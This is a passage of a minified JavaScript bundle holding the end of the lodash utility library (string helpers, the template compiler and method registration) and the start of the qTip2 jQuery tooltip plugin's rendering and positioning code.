od(e,t,n){if(n?aa(e,t,n):t===r){t=1}else{t=Kc(t)}return bs(Zc(e),t)}function ad(){var e=arguments,t=Zc(e[0]);return e.length<3?t:t.replace(e[1],e[2])}var ld=po((function(e,t,n){return e+(n?"_":"")+t.toLowerCase()}));function ud(e,t,n){if(n&&typeof n!="number"&&aa(e,t,n)){t=n=r}n=n===r?R:n>>>0;if(!n){return[]}e=Zc(e);if(e&&(typeof t=="string"||t!=null&&!Fc(t))){t=Ps(t);if(!t&&si(e)){return Qs(vi(e),0,n)}}return e.split(t,n)}var cd=po((function(e,t,n){return e+(n?" ":"")+wd(t)}));function fd(e,t,n){e=Zc(e);n=n==null?0:vr(Kc(n),0,e.length);t=Ps(t);return e.slice(n,n+t.length)==t}function dd(e,t,n){var i=xi.templateSettings;if(n&&aa(e,t,n)){t=r}e=Zc(e);t=nf({},t,i,No);var s=nf({},t.imports,i.imports,No),o=kf(s),a=Yn(s,o);var l,c,f=0,d=t.interpolate||Ze,h="__p += '";var p=it((t.escape||Ze).source+"|"+d.source+"|"+(d===Oe?Qe:Ze).source+"|"+(t.evaluate||Ze).source+"|$","g");var g="//# sourceURL="+(ft.call(t,"sourceURL")?(t.sourceURL+"").replace(/\s/g," "):"lodash.templateSources["+ ++Gt+"]")+"\n";e.replace(p,(function(t,n,i,r,s,o){i||(i=r);h+=e.slice(f,o).replace(et,ii);if(n){l=true;h+="' +\n__e("+n+") +\n'"}if(s){c=true;h+="';\n"+s+";\n__p += '"}if(i){h+="' +\n((__t = ("+i+")) == null ? '' : __t) +\n'"}f=o+t.length;return t}));h+="';\n";var v=ft.call(t,"variable")&&t.variable;if(!v){h="with (obj) {\n"+h+"\n}\n"}else if(ze.test(v)){throw new $e(u)}h=(c?h.replace(xe,""):h).replace(ke,"$1").replace(Ce,"$1;");h="function("+(v||"obj")+") {\n"+(v?"":"obj || (obj = {});\n")+"var __t, __p = ''"+(l?", __e = _.escape":"")+(c?", __j = Array.prototype.join;\n"+"function print() { __p += __j.call(arguments, '') }\n":";\n")+h+"return __p\n}";var m=kd((function(){return qe(o,g+"return "+h).apply(r,a)}));m.source=h;if(bc(m)){throw m}return m}function hd(e){return Zc(e).toLowerCase()}function pd(e){return Zc(e).toUpperCase()}function gd(e,t,n){e=Zc(e);if(e&&(n||t===r)){return Kn(e)}if(!e||!(t=Ps(t))){return e}var i=vi(e),s=vi(t),o=Jn(i,s),a=Zn(i,s)+1;return Qs(i,o,a).join("")}function vd(e,t,n){e=Zc(e);if(e&&(n||t===r)){return e.slice(0,mi(e)+1)}if(!e||!(t=Ps(t))){return e}var i=vi(e),s=Zn(i,vi(t))+1;return Qs(i,0,s).join("")}function md(e,t,n){e=Zc(e);if(e&&(n||t===r)){return e.replace(Me,"")}if(!e||!(t=Ps(t))){return e}var i=vi(e),s=Jn(i,vi(t));return Qs(i,s).join("")}function yd(e,t){var n=S,i=j;if(Cc(t)){var s="separator"in t?t.separator:s;n="length"in t?Kc(t.length):n;i="omission"in t?Ps(t.omission):i}e=Zc(e);var o=e.length;if(si(e)){var a=vi(e);o=a.length}if(n>=o){return e}var l=n-gi(i);if(l<1){return i}var u=a?Qs(a,0,l).join(""):e.slice(0,l);if(s===r){return u+i}if(a){l+=u.length-l}if(Fc(s)){if(e.slice(l).search(s)){var c,f=u;if(!s.global){s=it(s.source,Zc(Ve.exec(s))+"g")}s.lastIndex=0;while(c=s.exec(f)){var d=c.index}u=u.slice(0,d===r?l:d)}}else if(e.indexOf(Ps(s),l)!=l){var h=u.lastIndexOf(s);if(h>-1){u=u.slice(0,h)}}return u+i}function bd(e){e=Zc(e);return e&&Te.test(e)?e.replace(Ee,yi):e}var _d=po((function(e,t,n){return e+(n?" ":"")+t.toUpperCase()}));var wd=ho("toUpperCase");function xd(e,t,n){e=Zc(e);t=n?r:t;if(t===r){return oi(e)?wi(e):Ln(e)}return e.match(t)||[]}var kd=_s((function(e,t){try{return bn(e,r,t)}catch(e){return bc(e)?e:new $e(e)}}));var Cd=$o((function(e,t){wn(t,(function(t){t=Oa(t);pr(e,t,Nu(e[t],e))}));return e}));function Ed(e){var t=e==null?0:e.length,n=Wo();e=!t?[]:Tn(e,(function(e){if(typeof e[1]!="function"){throw new st(l)}return[n(e[0]),e[1]]}));return _s((function(n){var i=-1;while(++i<t){var r=e[i];if(bn(r[0],this,n)){return bn(r[1],this,n)}}}))}function Ad(e){return yr(mr(e,h))}function Td(e){return function(){return e}}function Sd(e,t){return e==null||e!==e?t:e}var jd=yo();var Dd=yo(true);function Od(e){return e}function Nd(e){return ts(typeof e=="function"?e:mr(e,h))}function Pd(e){return os(mr(e,h))}function Ld(e,t){return as(e,mr(t,h))}var Fd=_s((function(e,t){return function(n){return zr(n,e,t)}}));var Id=_s((function(e,t){return function(n){return zr(e,n,t)}}));function Md(e,t,n){var i=kf(t),r=Pr(t,i);if(n==null&&!(Cc(t)&&(r.length||!i.length))){n=t;t=e;e=this;r=Pr(t,kf(t))}var s=!(Cc(n)&&"chain"in n)||!!n.chain,o=wc(e);wn(r,(function(n){var i=t[n];e[n]=i;if(o){e.prototype[n]=function(){var t=this.__chain__;if(s||t){var n=e(this.__wrapped__),r=n.__actions__=io(this.__actions__);r.push({func:i,args:arguments,thisArg:e});n.__chain__=t;return n}return i.apply(e,Sn([this.value()],arguments))}}}));return e}function $d(){if(an._===this){an._=vt}return this}function Rd(){}function Hd(e){e=Kc(e);return _s((function(t){return cs(t,e)}))}var Bd=xo(Tn);var qd=xo(kn);var zd=xo(On);function Wd(e){return la(e)?Bn(Oa(e)):ps(e)}function Qd(e){return function(t){return e==null?r:Lr(e,t)}}var Vd=Eo();var Ud=Eo(true);function Kd(){return[]}function Gd(){return false}function Yd(){return{}}function Xd(){return""}function Jd(){return true}function Zd(e,t){e=Kc(e);if(e<1||e>I){return[]}var n=R,i=Bt(e,R);t=Wo(t);e-=R;var r=Vn(i,t);while(++n<e){t(n)}return r}function eh(e){if(lc(e)){return Tn(e,Oa)}return Rc(e)?[e]:io(Da(Zc(e)))}function th(e){var t=++dt;return Zc(e)+t}var nh=wo((function(e,t){return e+t}),0);var ih=So("ceil");var rh=wo((function(e,t){return e/t}),1);var sh=So("floor");function oh(e){return e&&e.length?Er(e,Od,Mr):r}function ah(e,t){return e&&e.length?Er(e,Wo(t,2),Mr):r}function lh(e){return Hn(e,Od)}function uh(e,t){return Hn(e,Wo(t,2))}function ch(e){return e&&e.length?Er(e,Od,rs):r}function fh(e,t){return e&&e.length?Er(e,Wo(t,2),rs):r}var dh=wo((function(e,t){return e*t}),1);var hh=So("round");var ph=wo((function(e,t){return e-t}),0);function gh(e){return e&&e.length?Qn(e,Od):0}function vh(e,t){return e&&e.length?Qn(e,Wo(t,2)):0}xi.after=ju;xi.ary=Du;xi.assign=ef;xi.assignIn=tf;xi.assignInWith=nf;xi.assignWith=rf;xi.at=sf;xi.before=Ou;xi.bind=Nu;xi.bindAll=Cd;xi.bindKey=Pu;xi.castArray=Ju;xi.chain=Ql;xi.chunk=Fa;xi.compact=Ia;xi.concat=Ma;xi.cond=Ed;xi.conforms=Ad;xi.constant=Td;xi.countBy=nu;xi.create=of;xi.curry=Lu;xi.curryRight=Fu;xi.debounce=Iu;xi.defaults=af;xi.defaultsDeep=lf;xi.defer=Mu;xi.delay=$u;xi.difference=$a;xi.differenceBy=Ra;xi.differenceWith=Ha;xi.drop=Ba;xi.dropRight=qa;xi.dropRightWhile=za;xi.dropWhile=Wa;xi.fill=Qa;xi.filter=ru;xi.flatMap=au;xi.flatMapDeep=lu;xi.flatMapDepth=uu;xi.flatten=Ka;xi.flattenDeep=Ga;xi.flattenDepth=Ya;xi.flip=Ru;xi.flow=jd;xi.flowRight=Dd;xi.fromPairs=Xa;xi.functions=gf;xi.functionsIn=vf;xi.groupBy=du;xi.initial=el;xi.intersection=tl;xi.intersectionBy=nl;xi.intersectionWith=il;xi.invert=_f;xi.invertBy=wf;xi.invokeMap=pu;xi.iteratee=Nd;xi.keyBy=gu;xi.keys=kf;xi.keysIn=Cf;xi.map=vu;xi.mapKeys=Ef;xi.mapValues=Af;xi.matches=Pd;xi.matchesProperty=Ld;xi.memoize=Hu;xi.merge=Tf;xi.mergeWith=Sf;xi.method=Fd;xi.methodOf=Id;xi.mixin=Md;xi.negate=Bu;xi.nthArg=Hd;xi.omit=jf;xi.omitBy=Df;xi.once=qu;xi.orderBy=mu;xi.over=Bd;xi.overArgs=zu;xi.overEvery=qd;xi.overSome=zd;xi.partial=Wu;xi.partialRight=Qu;xi.partition=yu;xi.pick=Of;xi.pickBy=Nf;xi.property=Wd;xi.propertyOf=Qd;xi.pull=ll;xi.pullAll=ul;xi.pullAllBy=cl;xi.pullAllWith=fl;xi.pullAt=dl;xi.range=Vd;xi.rangeRight=Ud;xi.rearg=Vu;xi.reject=wu;xi.remove=hl;xi.rest=Uu;xi.reverse=pl;xi.sampleSize=ku;xi.set=Lf;xi.setWith=Ff;xi.shuffle=Cu;xi.slice=gl;xi.sortBy=Tu;xi.sortedUniq=xl;xi.sortedUniqBy=kl;xi.split=ud;xi.spread=Ku;xi.tail=Cl;xi.take=El;xi.takeRight=Al;xi.takeRightWhile=Tl;xi.takeWhile=Sl;xi.tap=Vl;xi.throttle=Gu;xi.thru=Ul;xi.toArray=Vc;xi.toPairs=If;xi.toPairsIn=Mf;xi.toPath=eh;xi.toPlainObject=Xc;xi.transform=$f;xi.unary=Yu;xi.union=jl;xi.unionBy=Dl;xi.unionWith=Ol;xi.uniq=Nl;xi.uniqBy=Pl;xi.uniqWith=Ll;xi.unset=Rf;xi.unzip=Fl;xi.unzipWith=Il;xi.update=Hf;xi.updateWith=Bf;xi.values=qf;xi.valuesIn=zf;xi.without=Ml;xi.words=xd;xi.wrap=Xu;xi.xor=$l;xi.xorBy=Rl;xi.xorWith=Hl;xi.zip=Bl;xi.zipObject=ql;xi.zipObjectDeep=zl;xi.zipWith=Wl;xi.entries=If;xi.entriesIn=Mf;xi.extend=tf;xi.extendWith=nf;Md(xi,xi);xi.add=nh;xi.attempt=kd;xi.camelCase=Uf;xi.capitalize=Kf;xi.ceil=ih;xi.clamp=Wf;xi.clone=Zu;xi.cloneDeep=tc;xi.cloneDeepWith=nc;xi.cloneWith=ec;xi.conformsTo=ic;xi.deburr=Gf;xi.defaultTo=Sd;xi.divide=rh;xi.endsWith=Yf;xi.eq=rc;xi.escape=Xf;xi.escapeRegExp=Jf;xi.every=iu;xi.find=su;xi.findIndex=Va;xi.findKey=uf;xi.findLast=ou;xi.findLastIndex=Ua;xi.findLastKey=cf;xi.floor=sh;xi.forEach=cu;xi.forEachRight=fu;xi.forIn=ff;xi.forInRight=df;xi.forOwn=hf;xi.forOwnRight=pf;xi.get=mf;xi.gt=sc;xi.gte=oc;xi.has=yf;xi.hasIn=bf;xi.head=Ja;xi.identity=Od;xi.includes=hu;xi.indexOf=Za;xi.inRange=Qf;xi.invoke=xf;xi.isArguments=ac;xi.isArray=lc;xi.isArrayBuffer=uc;xi.isArrayLike=cc;xi.isArrayLikeObject=fc;xi.isBoolean=dc;xi.isBuffer=hc;xi.isDate=pc;xi.isElement=gc;xi.isEmpty=vc;xi.isEqual=mc;xi.isEqualWith=yc;xi.isError=bc;xi.isFinite=_c;xi.isFunction=wc;xi.isInteger=xc;xi.isLength=kc;xi.isMap=Ac;xi.isMatch=Tc;xi.isMatchWith=Sc;xi.isNaN=jc;xi.isNative=Dc;xi.isNil=Nc;xi.isNull=Oc;xi.isNumber=Pc;xi.isObject=Cc;xi.isObjectLike=Ec;xi.isPlainObject=Lc;xi.isRegExp=Fc;xi.isSafeInteger=Ic;xi.isSet=Mc;xi.isString=$c;xi.isSymbol=Rc;xi.isTypedArray=Hc;xi.isUndefined=Bc;xi.isWeakMap=qc;xi.isWeakSet=zc;xi.join=rl;xi.kebabCase=Zf;xi.last=sl;xi.lastIndexOf=ol;xi.lowerCase=ed;xi.lowerFirst=td;xi.lt=Wc;xi.lte=Qc;xi.max=oh;xi.maxBy=ah;xi.mean=lh;xi.meanBy=uh;xi.min=ch;xi.minBy=fh;xi.stubArray=Kd;xi.stubFalse=Gd;xi.stubObject=Yd;xi.stubString=Xd;xi.stubTrue=Jd;xi.multiply=dh;xi.nth=al;xi.noConflict=$d;xi.noop=Rd;xi.now=Su;xi.pad=nd;xi.padEnd=id;xi.padStart=rd;xi.parseInt=sd;xi.random=Vf;xi.reduce=bu;xi.reduceRight=_u;xi.repeat=od;xi.replace=ad;xi.result=Pf;xi.round=hh;xi.runInContext=e;xi.sample=xu;xi.size=Eu;xi.snakeCase=ld;xi.some=Au;xi.sortedIndex=vl;xi.sortedIndexBy=ml;xi.sortedIndexOf=yl;xi.sortedLastIndex=bl;xi.sortedLastIndexBy=_l;xi.sortedLastIndexOf=wl;xi.startCase=cd;xi.startsWith=fd;xi.subtract=ph;xi.sum=gh;xi.sumBy=vh;xi.template=dd;xi.times=Zd;xi.toFinite=Uc;xi.toInteger=Kc;xi.toLength=Gc;xi.toLower=hd;xi.toNumber=Yc;xi.toSafeInteger=Jc;xi.toString=Zc;xi.toUpper=pd;xi.trim=gd;xi.trimEnd=vd;xi.trimStart=md;xi.truncate=yd;xi.unescape=bd;xi.uniqueId=th;xi.upperCase=_d;xi.upperFirst=wd;xi.each=cu;xi.eachRight=fu;xi.first=Ja;Md(xi,function(){var e={};Or(xi,(function(t,n){if(!ft.call(xi.prototype,n)){e[n]=t}}));return e}(),{chain:false});xi.VERSION=s;wn(["bind","bindKey","curry","curryRight","partial","partialRight"],(function(e){xi[e].placeholder=xi}));wn(["drop","take"],(function(e,t){Ti.prototype[e]=function(n){n=n===r?1:Ht(Kc(n),0);var i=this.__filtered__&&!t?new Ti(this):this.clone();if(i.__filtered__){i.__takeCount__=Bt(n,i.__takeCount__)}else{i.__views__.push({size:Bt(n,R),type:e+(i.__dir__<0?"Right":"")})}return i};Ti.prototype[e+"Right"]=function(t){return this.reverse()[e](t).reverse()}}));wn(["filter","map","takeWhile"],(function(e,t){var n=t+1,i=n==N||n==L;Ti.prototype[e]=function(e){var t=this.clone();t.__iteratees__.push({iteratee:Wo(e,3),type:n});t.__filtered__=t.__filtered__||i;return t}}));wn(["head","last"],(function(e,t){var n="take"+(t?"Right":"");Ti.prototype[e]=function(){return this[n](1).value()[0]}}));wn(["initial","tail"],(function(e,t){var n="drop"+(t?"":"Right");Ti.prototype[e]=function(){return this.__filtered__?new Ti(this):this[n](1)}}));Ti.prototype.compact=function(){return this.filter(Od)};Ti.prototype.find=function(e){return this.filter(e).head()};Ti.prototype.findLast=function(e){return this.reverse().find(e)};Ti.prototype.invokeMap=_s((function(e,t){if(typeof e=="function"){return new Ti(this)}return this.map((function(n){return zr(n,e,t)}))}));Ti.prototype.reject=function(e){return this.filter(Bu(Wo(e)))};Ti.prototype.slice=function(e,t){e=Kc(e);var n=this;if(n.__filtered__&&(e>0||t<0)){return new Ti(n)}if(e<0){n=n.takeRight(-e)}else if(e){n=n.drop(e)}if(t!==r){t=Kc(t);n=t<0?n.dropRight(-t):n.take(t-e)}return n};Ti.prototype.takeRightWhile=function(e){return this.reverse().takeWhile(e).reverse()};Ti.prototype.toArray=function(){return this.take(R)};Or(Ti.prototype,(function(e,t){var n=/^(?:filter|find|map|reject)|While$/.test(t),i=/^(?:head|last)$/.test(t),s=xi[i?"take"+(t=="last"?"Right":""):t],o=i||/^find/.test(t);if(!s){return}xi.prototype[t]=function(){var t=this.__wrapped__,a=i?[1]:arguments,l=t instanceof Ti,u=a[0],c=l||lc(t);var f=function(e){var t=s.apply(xi,Sn([e],a));return i&&d?t[0]:t};if(c&&n&&typeof u=="function"&&u.length!=1){l=c=false}var d=this.__chain__,h=!!this.__actions__.length,p=o&&!d,g=l&&!h;if(!o&&c){t=g?t:new Ti(this);var v=e.apply(t,a);v.__actions__.push({func:Ul,args:[f],thisArg:r});return new Ai(v,d)}if(p&&g){return e.apply(this,a)}v=this.thru(f);return p?i?v.value()[0]:v.value():v}}));wn(["pop","push","shift","sort","splice","unshift"],(function(e){var t=ot[e],n=/^(?:push|sort|unshift)$/.test(e)?"tap":"thru",i=/^(?:pop|shift)$/.test(e);xi.prototype[e]=function(){var e=arguments;if(i&&!this.__chain__){var r=this.value();return t.apply(lc(r)?r:[],e)}return this[n]((function(n){return t.apply(lc(n)?n:[],e)}))}}));Or(Ti.prototype,(function(e,t){var n=xi[t];if(n){var i=n.name+"";if(!ft.call(un,i)){un[i]=[]}un[i].push({name:t,func:n})}}));un[bo(r,b).name]=[{name:"wrapper",func:r}];Ti.prototype.clone=Si;Ti.prototype.reverse=ji;Ti.prototype.value=Di;xi.prototype.at=Kl;xi.prototype.chain=Gl;xi.prototype.commit=Yl;xi.prototype.next=Xl;xi.prototype.plant=Zl;xi.prototype.reverse=eu;xi.prototype.toJSON=xi.prototype.valueOf=xi.prototype.value=tu;xi.prototype.first=xi.prototype.head;if(Tt){xi.prototype[Tt]=Jl}return xi};var ki=xi();if(true){an._=ki;!(i=function(){return ki}.call(t,n,t,e),i!==r&&(e.exports=i))}else{}}).call(this)},484:(e,t,n)=>{"use strict";n.r(t)},485:(e,t,n)=>{"use strict";n.r(t)},496:(e,t,n)=>{"use strict";n.r(t)},498:(e,t,n)=>{"use strict";n.r(t)},503:(e,t,n)=>{"use strict";n.r(t)},504:(e,t,n)=>{"use strict";n.r(t)},502:(e,t,n)=>{var i,r,s;(function(o,a,l){(function(o){"use strict";if(true){!(r=[n(486)],i=o,s=typeof i==="function"?i.apply(t,r):i,s!==l&&(e.exports=s))}else{}})((function(e){"use strict";var t=true,n=false,i=null,r="x",s="y",u="width",c="height",f="top",d="left",h="bottom",p="right",g="center",v="flip",m="flipinvert",y="shift",b,_,w,x,k={},C="qtip",E="data-hasqtip",A="data-qtip-id",T=["ui-widget","ui-tooltip"],S="."+C,j="click dblclick mousedown mouseup mousemove mouseleave mouseenter".split(" "),D=C+"-fixed",O=C+"-default",N=C+"-focus",P=C+"-hover",L=C+"-disabled",F="_replacedByqTip",I="oldtitle",M,$={ie:function(){var e,t;for(e=4,t=a.createElement("div");(t.innerHTML="\x3c!--[if gt IE "+e+"]><i></i><![endif]--\x3e")&&t.getElementsByTagName("i")[0];e+=1){}return e>4?e:NaN}(),iOS:parseFloat((""+(/CPU.*OS ([0-9_]{1,5})|(CPU like).*AppleWebKit.*Mobile/i.exec(navigator.userAgent)||[0,""])[1]).replace("undefined","3_2").replace("_",".").replace("_",""))||n};function R(t,r,s,o){this.id=s;this.target=t;this.tooltip=i;this.elements={target:t};this._id=C+"-"+s;this.timers={img:{}};this.options=r;this.plugins={};this.cache={event:{},target:e(),disabled:n,attr:o,onTooltip:n,lastClass:""};this.rendered=this.destroyed=this.disabled=this.waiting=this.hiddenDuringWait=this.positioning=this.triggering=n}_=R.prototype;_._when=function(t){return e.when.apply(e,t)};_.render=function(i){if(this.rendered||this.destroyed){return this}var r=this,s=this.options,o=this.cache,a=this.elements,l=s.content.text,u=s.content.title,c=s.content.button,f=s.position,d=[];e.attr(this.target[0],"aria-describedby",this._id);o.posClass=this._createPosClass((this.position={my:f.my,at:f.at}).my);this.tooltip=a.tooltip=e("<div/>",{id:this._id,class:[C,O,s.style.classes,o.posClass].join(" "),width:s.style.width||"",height:s.style.height||"",tracking:f.target==="mouse"&&f.adjust.mouse,role:"alert","aria-live":"polite","aria-atomic":n,"aria-describedby":this._id+"-content","aria-hidden":t}).toggleClass(L,this.disabled).attr(A,this.id).data(C,this).appendTo(f.container).append(a.content=e("<div />",{class:C+"-content",id:this._id+"-content","aria-atomic":t}));this.rendered=-1;this.positioning=t;if(u){this._createTitle();if(!e.isFunction(u)){d.push(this._updateTitle(u,n))}}if(c){this._createButton()}if(!e.isFunction(l)){d.push(this._updateContent(l,n))}this.rendered=t;this._setWidget();e.each(k,(function(e){var t;if(this.initialize==="render"&&(t=this(r))){r.plugins[e]=t}}));this._unassignEvents();this._assignEvents();this._when(d).then((function(){r._trigger("render");r.positioning=n;if(!r.hiddenDuringWait&&(s.show.ready||i)){r.toggle(t,o.event,n)}r.hiddenDuringWait=n}));b.api[this.id]=this;return this};_.destroy=function(n){if(this.destroyed){return this.target}function r(){if(this.destroyed){return}this.destroyed=t;var n=this.target,r=n.attr(I),s;if(this.rendered){this.tooltip.stop(1,0).find("*").remove().end().remove()}e.each(this.plugins,(function(){this.destroy&&this.destroy()}));for(s in this.timers){if(this.timers.hasOwnProperty(s)){clearTimeout(this.timers[s])}}n.removeData(C).removeAttr(A).removeAttr(E).removeAttr("aria-describedby");if(this.options.suppress&&r){n.attr("title",r).removeAttr(I)}this._unassignEvents();this.options=this.elements=this.cache=this.timers=this.plugins=this.mouse=i;delete b.api[this.id]}if((n!==t||this.triggering==="hide")&&this.rendered){this.tooltip.one("tooltiphidden",e.proxy(r,this));!this.triggering&&this.hide()}else{r.call(this)}return this.target};function H(t){return t===i||e.type(t)!=="object"}function B(t){return!(e.isFunction(t)||t&&t.attr||t.length||e.type(t)==="object"&&(t.jquery||t.then))}function q(r){var s,o,a,l;if(H(r)){return n}if(H(r.metadata)){r.metadata={type:r.metadata}}if("content"in r){s=r.content;if(H(s)||s.jquery||s.done){o=B(s)?n:s;s=r.content={text:o}}else{o=s.text}if("ajax"in s){a=s.ajax;l=a&&a.once!==n;delete s.ajax;s.text=function(t,n){var r=o||e(this).attr(n.options.content.attr)||"Loading...",s=e.ajax(e.extend({},a,{context:n})).then(a.success,i,a.error).then((function(e){if(e&&l){n.set("content.text",e)}return e}),(function(e,t,i){if(n.destroyed||e.status===0){return}n.set("content.text",t+": "+i)}));return!l?(n.set("content.text",r),s):r}}if("title"in s){if(e.isPlainObject(s.title)){s.button=s.title.button;s.title=s.title.text}if(B(s.title||n)){s.title=n}}}if("position"in r&&H(r.position)){r.position={my:r.position,at:r.position}}if("show"in r&&H(r.show)){r.show=r.show.jquery?{target:r.show}:r.show===t?{ready:t}:{event:r.show}}if("hide"in r&&H(r.hide)){r.hide=r.hide.jquery?{target:r.hide}:{event:r.hide}}if("style"in r&&H(r.style)){r.style={classes:r.style}}e.each(k,(function(){this.sanitize&&this.sanitize(r)}));return r}x=_.checks={builtin:{"^id$":function(i,r,s,o){var a=s===t?b.nextid:s,l=C+"-"+a;if(a!==n&&a.length>0&&!e("#"+l).length){this._id=l;if(this.rendered){this.tooltip[0].id=this._id;this.elements.content[0].id=this._id+"-content";this.elements.title[0].id=this._id+"-title"}}else{i[r]=o}},"^prerender":function(e,t,n){n&&!this.rendered&&this.render(this.options.show.ready)},"^content.text$":function(e,t,n){this._updateContent(n)},"^content.attr$":function(e,t,n,i){if(this.options.content.text===this.target.attr(i)){this._updateContent(this.target.attr(n))}},"^content.title$":function(e,t,n){if(!n){return this._removeTitle()}n&&!this.elements.title&&this._createTitle();this._updateTitle(n)},"^content.button$":function(e,t,n){this._updateButton(n)},"^content.title.(text|button)$":function(e,t,n){this.set("content."+t,n)},"^position.(my|at)$":function(e,t,n){if("string"===typeof n){this.position[t]=e[t]=new w(n,t==="at")}},"^position.container$":function(e,t,n){this.rendered&&this.tooltip.appendTo(n)},"^show.ready$":function(e,n,i){i&&(!this.rendered&&this.render(t)||this.toggle(t))},"^style.classes$":function(e,t,n,i){this.rendered&&this.tooltip.removeClass(i).addClass(n)},"^style.(width|height)":function(e,t,n){this.rendered&&this.tooltip.css(t,n)},"^style.widget|content.title":function(){this.rendered&&this._setWidget()},"^style.def":function(e,t,n){this.rendered&&this.tooltip.toggleClass(O,!!n)},"^events.(render|show|move|hide|focus|blur)$":function(t,n,i){this.rendered&&this.tooltip[(e.isFunction(i)?"":"un")+"bind"]("tooltip"+n,i)},"^(show|hide|position).(event|target|fixed|inactive|leave|distance|viewport|adjust)":function(){if(!this.rendered){return}var e=this.options.position;this.tooltip.attr("tracking",e.target==="mouse"&&e.adjust.mouse);this._unassignEvents();this._assignEvents()}}};function z(e,t){var n=0,i,r=e,s=t.split(".");while(r=r[s[n++]]){if(n<s.length){i=r}}return[i||e,s.pop()]}_.get=function(e){if(this.destroyed){return this}var t=z(this.options,e.toLowerCase()),n=t[0][t[1]];return n.precedance?n.string():n};function W(e,t){var n,i,r;for(n in this.checks){if(!this.checks.hasOwnProperty(n)){continue}for(i in this.checks[n]){if(!this.checks[n].hasOwnProperty(i)){continue}if(r=new RegExp(i,"i").exec(e)){t.push(r);if(n==="builtin"||this.plugins[n]){this.checks[n][i].apply(this.plugins[n]||this,t)}}}}}var Q=/^position\.(my|at|adjust|target|container|viewport)|style|content|show\.ready/i,V=/^prerender|show\.ready/i;_.set=function(r,s){if(this.destroyed){return this}var o=this.rendered,a=n,l=this.options,u;if("string"===typeof r){u=r;r={};r[u]=s}else{r=e.extend({},r)}e.each(r,(function(t,n){if(o&&V.test(t)){delete r[t];return}var i=z(l,t.toLowerCase()),s;s=i[0][i[1]];i[0][i[1]]=n&&n.nodeType?e(n):n;a=Q.test(t)||a;r[t]=[i[0],i[1],n,s]}));q(l);this.positioning=t;e.each(r,e.proxy(W,this));this.positioning=n;if(this.rendered&&this.tooltip[0].offsetWidth>0&&a){this.reposition(l.position.target==="mouse"?i:this.cache.event)}return this};_._update=function(r,s){var o=this,a=this.cache;if(!this.rendered||!r){return n}if(e.isFunction(r)){r=r.call(this.elements.target,a.event,this)||""}if(e.isFunction(r.then)){a.waiting=t;return r.then((function(e){a.waiting=n;return o._update(e,s)}),i,(function(e){return o._update(e,s)}))}if(r===n||!r&&r!==""){return n}if(r.jquery&&r.length>0){s.empty().append(r.css({display:"block",visibility:"visible"}))}else{s.html(r)}return this._waitForContent(s).then((function(e){if(o.rendered&&o.tooltip[0].offsetWidth>0){o.reposition(a.event,!e.length)}}))};_._waitForContent=function(i){var r=this.cache;r.waiting=t;return(e.fn.imagesLoaded?i.imagesLoaded():(new e.Deferred).resolve([])).done((function(){r.waiting=n})).promise()};_._updateContent=function(e,t){this._update(e,this.elements.content,t)};_._updateTitle=function(e,t){if(this._update(e,this.elements.title,t)===n){this._removeTitle(n)}};_._createTitle=function(){var n=this.elements,i=this._id+"-title";if(n.titlebar){this._removeTitle()}n.titlebar=e("<div />",{class:C+"-titlebar "+(this.options.style.widget?K("header"):"")}).append(n.title=e("<div />",{id:i,class:C+"-title","aria-atomic":t})).insertBefore(n.content).delegate(".qtip-close","mousedown keydown mouseup keyup mouseout",(function(t){e(this).toggleClass("ui-state-active ui-state-focus",t.type.substr(-4)==="down")})).delegate(".qtip-close","mouseover mouseout",(function(t){e(this).toggleClass("ui-state-hover",t.type==="mouseover")}));if(this.options.content.button){this._createButton()}};_._removeTitle=function(e){var t=this.elements;if(t.title){t.titlebar.remove();t.titlebar=t.title=t.button=i;if(e!==n){this.reposition()}}};_._createPosClass=function(e){return C+"-pos-"+(e||this.options.position.my).abbrev()};_.reposition=function(i,r){if(!this.rendered||this.positioning||this.destroyed){return this}this.positioning=t;var s=this.cache,l=this.tooltip,u=this.options.position,c=u.target,v=u.my,m=u.at,y=u.viewport,b=u.container,_=u.adjust,w=_.method.split(" "),x=l.outerWidth(n),C=l.outerHeight(n),E=0,A=0,T=l.css("position"),S={left:0,top:0},j=l[0].offsetWidth>0,D=i&&i.type==="scroll",O=e(o),N=b[0].ownerDocument,P=this.mouse,L,F,I,M;if(e.isArray(c)&&c.length===2){m={x:d,y:f};S={left:c[0],top:c[1]}}else if(c==="mouse"){m={x:d,y:f};if((!_.mouse||this.options.hide.distance)&&s.origin&&s.origin.pageX){i=s.origin}else if(!i||i&&(i.type==="resize"||i.type==="scroll")){i=s.event}else if(P&&P.pageX){i=P}if(T!=="static"){S=b.offset()}if(N.body.offsetWidth!==(o.innerWidth||N.documentElement.clientWidth)){F=e(a.body).offset()}S={left:i.pageX-S.left+(F&&F.left||0),top:i.pageY-S.top+(F&&F.top||0)};if(_.mouse&&D&&P){S.left-=(P.scrollX||0)-O.scrollLeft();S.top-=(P.scrollY||0)-O.scrollTop()}}else{if(c==="event"){if(i&&i.target&&i.type!=="scroll"&&i.type!=="resize"){s.target=e(i.target)}else if(!i.target){s.target=this.elements.target}}else if(c!=="event"){s.target=e(c.jquery?c:this.elements.target)}c=s.target;c=e(c).eq(0);if(c.length===0){return this}else if(c[0]===a||c[0]===o){E=$.iOS?o.innerWidth:c.width();A=$.iOS?o.innerHeight:c.height();if(c[0]===o){S={top:(y||c).scrollTop(),left:(y||c).scrollLeft()}}}else if(k.imagemap&&c.is("area")){L=k.imagemap(this,c,m,k.viewport?w:n)}else if(k.svg&&c&&c[0].ownerSVGElement){L=k.svg(this,c,m,k.viewport?w:n)}else{E=c.outerWidth(n);A=c.outerHeight(n);S=c.offset()}if(L){E=L.width;A=L.height;F=L.offset;S=L.position}S=this.reposition.offset(c,S,b);if($.iOS>3.1&&$.iOS<4.1||$.iOS>=4.3&&$.iOS<4.33||!$.iOS&&T==="fixed"){S.left-=O.scrollLeft();S.top-=O.scrollTop()}if(!L||L&&L.adjustable!==n){S.left+=m.x===p?E:m.x===g?E/2:0;S.top+=m.y===h?A:m.y===g?A/2:0}}S.left+=_.x+(v.x===p?-x:v.x===g?-x/2:0);S.top+=_.y+(v.y===h?-C:v.y===g?-C/2:0);if(k.viewport){I=S.adjusted=k.viewport(this,S,u,E,A,x,C);if(F&&I.left){S.left+=F.left}if(F&&I.top){S.top+=F.top}if(I.my){this.position.my=I.my}}else{S.adjusted={left:0,top:0}}if(s.posClass!==(M=this._createPosClass(this.position.my))){s.posClass=M;l.removeClass(s.posClass).addClass(M)}if(!this._trigger("move",[S,y.elem||y],i)){return this}delete S.adjusted;if(r===n||!j||isNaN(S.left)||isNaN(S.top)||c==="mouse"||!e.isFunction(u.effect)){l.css(S)}else 